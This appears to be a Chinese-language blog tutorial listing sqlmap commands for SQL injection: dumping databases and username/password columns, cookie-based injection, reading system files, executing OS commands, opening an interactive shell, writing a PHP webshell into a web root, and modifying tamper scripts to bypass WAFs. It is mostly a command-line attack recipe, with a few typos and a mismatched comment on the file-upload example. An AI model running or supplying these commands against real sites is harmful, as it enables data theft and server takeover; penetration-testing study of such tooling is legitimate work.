一.本文介绍
1、本文介绍SQLmap常用命令、获取webshell。
二.常用命令
1、最常用URL注入语句
sqlmap.py -u URL --level=LEVEL 执行测试的等级(1-5,默认为1),使用–level 参数且数值>=2的时候也会检查cookie里面的参数,当>=3的时候将检查User-agent和Referer。
- -risk=RISK 执行测试的风险(0-3,默认为1),默认是1会测试大部分的测试语句,2会增加基于事件的测试语句,3会增加OR语句的SQL注入测试。
-v VERBOSE信息级别: 0-6 (缺省1),其值具体含义:“0”只显示python错误以及严重的信息;1同时显示基本信息和警告信息(默认);“2”同时显示debug信息;“3”同时显示注入的payload;“4”同时显示HTTP请求;“5”同时显示HTTP响应头;“6”同时显示HTTP响应页面;如果想看到sqlmap发送的测试payload最好的等级就是3。
-p 后面接参数,指定参数注入(如:D:\VStart50\tools\注入检测\sqlmap>sqlmap.py -u URL -p id)
--threads 使用该参数指定Sqlmap可以达到的最大并发数。从性能和网站承受能力两方面考虑最大并发数不要超过10。
2、批量注入 sqlmap.py -m oldboy.txt
3、模拟测试手机环境站点 sqlmap.py -u”URL” --mobile
4、智能判断测试 sqlmap.py -u “URL“ -batch-smart
5、post注入 sqlmap.py -r burpsuite抓包.txt
6、指定参数注入 sqlmap.py -r post.txt -p 注入参数
7、指定表单注入 sqlmap.py -u URL –data“username=a&password=a”
2、sqlmap自动填写表单注入
sqlmap.py -u URL --forms
sqlmap.py -u URL –forms --dbs //默认情况系sqlmap会自动的探测web应用后端的数据库类型:MySQL、Oracle、PostgreSQL、MicrosoftSQL Server、Microsoft Access、SQLite、Firebird、Sybase、SAPMaxDB、DB2
--current-user:大多数数据库中可检测到数据库管理系统当前用户
--current-db:当前连接数据库名
--is-dba:判断当前的用户是否为管理
--users:列出数据库所有所有用户
sqlmap.py -u URL --dbs
sqlmap.py -u URL --current-db
sqlmap.py -u URL -D 数据库名称 --tables
sqlmap.py -u URL -D 数据库名称 -T 表名 --columns
sqlmap.py -u URL -D 数据库名称 -T 表名 -C username,password --dump
3、sqlmap cookies注入
sqlmap.py -u “http://127.0.0.1/base.PHP“–cookies “ant[uname]=admin″ –dbs --level 2
默认情况下SQLMAP只支持GET/POST参数的注入测试,但是当使用–level 参数且数值>=2的时候也会检查cookie里面的参数,当>=3的时候将检查User-agent和Referer。可以通过burpsuite等工具获取当前的cookie值,然后进行注入:
sqlmap.py -u 注入点URL --cookie "id=xx" --level 3
sqlmap.py -u url --cookie "id=xx"--level 3 --tables(猜表名)
sqlmap.py -u url --cookie "id=xx"--level 3 -T 表名 --coiumns
sqlmap.py -u url --cookie "id=xx"--level 3 -T 表名 -C username,password --dump
4、扩展命令执行
1、sqlmap.py-u “url” --file-read /etc/password
2、sqlmap.py -u “url” --os-cmd="net user” /*执行net user命令*/
3、sqlmap.py -u “url” --os-shell /*系统交互的shell*/
C:/php/htdocs/sql.php
4、sqlmap.py -u”http://192.168.136.129/sqlmap/mssql/iis/get_str2.asp?name=luther“ --file-read “C:/example.exe” -v 1
5、python sqlmap.py -u”URL” --file-write "c:/1.txt” --file-dest “C:/php/htdocs/444.php” -v1 /*将/software/nc.exe文件上传到C:/WINDOWS/Temp下*/
5、SQLMAP突破Waf
1. mysql的注释方法进行绕过WAF进行SQL注入
(1)修改C:\Python27\sqlmap\tamper\halfversionedmorekeywords.py
return match.group().replace(word,”/*!0%s” % word) 为:
return match.group().replace(word,”/*!50000%s*/” % word)
(2)修改C:\Python27\sqlmap\xml\queries.xml
<cast query=”CAST(%s ASCHAR)”/>为:
<castquery=”convert(%s,CHAR)”/>
(3)使用sqlmap进行注入测试
sqlmap.py -u”http://**.com/detail.php? id=16″ –tamper “halfversionedmorekeywords.py”
其它绕过waf脚本方法:
sqlmap.py-u “http://192.168.136.131/sqlmap/mysql/get_int.php?id=1” --tamper tamper/between.py,tamper/randomcase.py,tamper/space2comment.py -v 3
网友评论